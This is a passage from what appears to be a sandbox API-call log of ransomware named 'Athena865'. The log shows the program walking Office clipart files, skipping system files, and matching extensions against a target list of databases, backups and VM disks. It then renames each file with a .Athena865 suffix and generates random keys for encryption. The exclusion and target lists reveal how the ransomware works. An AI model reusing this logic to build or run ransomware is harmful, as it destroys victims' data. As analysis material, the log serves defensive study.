(lpString1="GIF", lpString2="tmd") returned -1 [0120.890] lstrlenW (lpString="tps") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0120.890] lstrlenW (lpString="trc") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0120.890] lstrlenW (lpString="trc") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0120.890] lstrlenW (lpString="trm") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0120.890] lstrlenW (lpString="udb") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0120.890] lstrlenW (lpString="udl") returned 3 [0120.890] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0120.890] lstrlenW (lpString="usr") returned 3 [0120.891] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0120.891] lstrlenW (lpString="v12") returned 3 [0120.891] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0120.891] lstrlenW (lpString="vis") returned 3 [0120.891] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0120.891] lstrlenW (lpString="vpd") returned 3 [0120.891] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0120.891] lstrlenW (lpString="vvv") returned 3 [0120.891] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0120.891] lstrlenW (lpString="wdb") returned 3 [0120.891] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0120.891] lstrlenW (lpString="wmdb") returned 4 [0120.891] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0120.891] lstrlenW (lpString="wrk") returned 3 [0120.891] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0120.891] lstrlenW (lpString="xdb") returned 3 [0120.891] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0120.891] lstrlenW (lpString="xld") returned 3 [0120.891] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0120.891] lstrlenW (lpString="xmlff") returned 5 [0120.891] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0120.891] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.Athena865") returned 73 [0120.891] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.athena865"), dwFlags=0x1) returned 1 [0120.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.892] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7686) returned 1 [0120.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.893] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.893] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.893] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.894] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2110, lpName=0x0) returned 0x154 [0120.896] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2110) returned 0x100000 [0120.906] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.907] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.907] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.908] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.908] CloseHandle (hObject=0x154) returned 1 [0120.908] CloseHandle (hObject=0x17c) returned 1 [0120.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.908] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2=".") returned 1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="..") returned 1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="windows") returned -1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="bootmgr") returned -1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="temp") returned -1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="pagefile.sys") returned -1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="boot") returned -1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="ids.txt") returned -1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="ntuser.dat") returned -1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="perflogs") returned -1 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="MSBuild") returned -1 [0120.909] lstrlenW (lpString="AG00057_.GIF") returned 12 [0120.909] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00057_.GIF" | out: lpString1="AG00057_.GIF") returned="AG00057_.GIF" [0120.909] lstrlenW (lpString="AG00057_.GIF") returned 12 [0120.909] lstrlenW (lpString="Athena865") returned 9 [0120.909] lstrcmpiW (lpString1="0057_.GIF", lpString2="Athena865") returned -1 [0120.909] lstrlenW (lpString=".dll") returned 4 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2=".dll") returned 1 [0120.909] lstrlenW (lpString=".lnk") returned 4 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2=".lnk") returned 1 [0120.909] lstrlenW (lpString=".ini") returned 4 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2=".ini") returned 1 [0120.909] lstrlenW (lpString=".sys") returned 4 [0120.909] lstrcmpiW (lpString1="AG00057_.GIF", lpString2=".sys") returned 1 [0120.909] lstrlenW (lpString="AG00057_.GIF") returned 12 [0120.910] lstrlenW (lpString="bak") returned 3 [0120.910] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0120.910] lstrlenW (lpString="ba_") returned 3 [0120.910] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0120.910] lstrlenW (lpString="dbb") returned 3 [0120.910] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0120.910] lstrlenW (lpString="vmdk") returned 4 [0120.910] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0120.910] lstrlenW (lpString="rar") returned 3 [0120.910] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0120.910] lstrlenW (lpString="zip") returned 3 [0120.910] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0120.910] lstrlenW (lpString="tgz") returned 3 [0120.910] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0120.910] lstrlenW (lpString="vbox") returned 4 [0120.910] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0120.910] lstrlenW (lpString="vdi") returned 3 [0120.910] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0120.910] lstrlenW (lpString="vhd") returned 3 [0120.910] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0120.910] lstrlenW (lpString="vhdx") returned 4 [0120.910] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0120.910] lstrlenW (lpString="avhd") returned 4 [0120.910] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0120.910] lstrlenW (lpString="db") returned 2 [0120.910] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0120.910] lstrlenW (lpString="db2") returned 3 [0120.910] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0120.911] lstrlenW (lpString="db3") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0120.911] lstrlenW (lpString="dbf") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0120.911] lstrlenW (lpString="mdf") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0120.911] lstrlenW (lpString="mdb") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0120.911] lstrlenW (lpString="sql") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0120.911] lstrlenW (lpString="sqlite") returned 6 [0120.911] lstrcmpiW (lpString1="7_.GIF", lpString2="sqlite") returned -1 [0120.911] lstrlenW (lpString="sqlite3") returned 7 [0120.911] lstrcmpiW (lpString1="57_.GIF", lpString2="sqlite3") returned -1 [0120.911] lstrlenW (lpString="sqlitedb") returned 8 [0120.911] lstrcmpiW (lpString1="057_.GIF", lpString2="sqlitedb") returned -1 [0120.911] lstrlenW (lpString="xml") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0120.911] lstrlenW (lpString="$er") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0120.911] lstrlenW (lpString="4dd") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0120.911] lstrlenW (lpString="4dl") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0120.911] lstrlenW (lpString="^^^") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0120.911] lstrlenW (lpString="abs") returned 3 [0120.911] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0120.912] lstrlenW (lpString="abx") returned 3 [0120.912] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0120.912] lstrlenW (lpString="accdb") returned 5 [0120.912] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0120.912] lstrlenW (lpString="accdc") returned 5 [0120.912] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0120.912] lstrlenW (lpString="accde") returned 5 [0120.912] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0120.912] lstrlenW (lpString="accdr") returned 5 [0120.912] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0120.912] lstrlenW (lpString="accdt") returned 5 [0120.912] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0120.912] lstrlenW (lpString="accdw") returned 5 [0120.912] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0120.912] lstrlenW (lpString="accft") returned 5 [0120.912] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0120.912] lstrlenW (lpString="adb") returned 3 [0120.912] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.912] lstrlenW (lpString="adb") returned 3 [0120.912] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.912] lstrlenW (lpString="ade") returned 3 [0120.912] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0120.912] lstrlenW (lpString="adf") returned 3 [0120.912] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0120.912] lstrlenW (lpString="adn") returned 3 [0120.912] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0120.912] lstrlenW (lpString="adp") returned 3 [0120.912] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0120.913] lstrlenW (lpString="alf") returned 3 [0120.913] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0120.913] lstrlenW (lpString="ask") returned 3 [0120.913] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0120.913] lstrlenW (lpString="btr") returned 3 [0120.913] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0120.913] lstrlenW (lpString="cat") returned 3 [0120.913] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0120.913] lstrlenW (lpString="cdb") returned 3 [0120.913] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0120.913] lstrlenW (lpString="ckp") returned 3 [0120.913] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0120.913] lstrlenW (lpString="cma") returned 3 [0120.913] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0120.913] lstrlenW (lpString="cpd") returned 3 [0120.913] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0120.913] lstrlenW (lpString="dacpac") returned 6 [0120.913] lstrcmpiW (lpString1="7_.GIF", lpString2="dacpac") returned -1 [0120.913] lstrlenW (lpString="dad") returned 3 [0120.913] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0120.913] lstrlenW (lpString="dadiagrams") returned 10 [0120.913] lstrcmpiW (lpString1="00057_.GIF", lpString2="dadiagrams") returned -1 [0120.913] lstrlenW (lpString="daschema") returned 8 [0120.913] lstrcmpiW (lpString1="057_.GIF", lpString2="daschema") returned -1 [0120.913] lstrlenW (lpString="db-journal") returned 10 [0120.913] lstrcmpiW (lpString1="00057_.GIF", lpString2="db-journal") returned -1 [0120.913] lstrlenW (lpString="db-shm") returned 6 [0120.913] lstrcmpiW (lpString1="7_.GIF", lpString2="db-shm") returned -1 [0120.914] lstrlenW (lpString="db-wal") returned 6 [0120.914] lstrcmpiW (lpString1="7_.GIF", lpString2="db-wal") returned -1 [0120.914] lstrlenW (lpString="dbc") returned 3 [0120.914] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0120.914] lstrlenW (lpString="dbs") returned 3 [0120.914] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0120.914] lstrlenW (lpString="dbt") returned 3 [0120.914] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0120.914] lstrlenW (lpString="dbv") returned 3 [0120.914] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0120.914] lstrlenW (lpString="dbx") returned 3 [0120.914] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0120.914] lstrlenW (lpString="dcb") returned 3 [0120.914] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0120.914] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0120.914] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.Athena865") returned 73 [0120.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.athena865"), dwFlags=0x1) returned 1 [0120.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.915] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11891) returned 1 [0120.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.916] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.917] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.917] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.917] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3180, lpName=0x0) returned 0x154 [0120.918] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3180) returned 0x100000 [0120.925] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.925] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.925] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.926] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.926] CloseHandle (hObject=0x154) returned 1 [0120.926] CloseHandle (hObject=0x17c) returned 1 [0120.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.927] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2=".") returned 1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="..") returned 1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="windows") returned -1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="bootmgr") returned -1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="temp") returned -1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="pagefile.sys") returned -1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="boot") returned -1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="ids.txt") returned -1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="ntuser.dat") returned -1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="perflogs") returned -1 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="MSBuild") returned -1 [0120.927] lstrlenW (lpString="AG00090_.GIF") returned 12 [0120.927] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00090_.GIF" | out: lpString1="AG00090_.GIF") returned="AG00090_.GIF" [0120.927] lstrlenW (lpString="AG00090_.GIF") returned 12 [0120.927] lstrlenW (lpString="Athena865") returned 9 [0120.927] lstrcmpiW (lpString1="0090_.GIF", lpString2="Athena865") returned -1 [0120.927] lstrlenW (lpString=".dll") returned 4 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2=".dll") returned 1 [0120.927] lstrlenW (lpString=".lnk") returned 4 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2=".lnk") returned 1 [0120.927] lstrlenW (lpString=".ini") returned 4 [0120.927] lstrcmpiW (lpString1="AG00090_.GIF", lpString2=".ini") returned 1 [0120.928] lstrlenW (lpString=".sys") returned 4 [0120.928] lstrcmpiW (lpString1="AG00090_.GIF", lpString2=".sys") returned 1 [0120.928] lstrlenW (lpString="AG00090_.GIF") returned 12 [0120.928] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.Athena865") returned 73 [0120.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.athena865"), dwFlags=0x1) returned 1 [0120.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.929] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=517) returned 1 [0120.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.929] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.930] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.930] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.930] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x510, lpName=0x0) returned 0x154 [0120.934] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x510) returned 0x100000 [0120.936] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.936] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.936] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.937] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.937] CloseHandle (hObject=0x154) returned 1 [0120.937] CloseHandle (hObject=0x17c) returned 1 [0120.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: 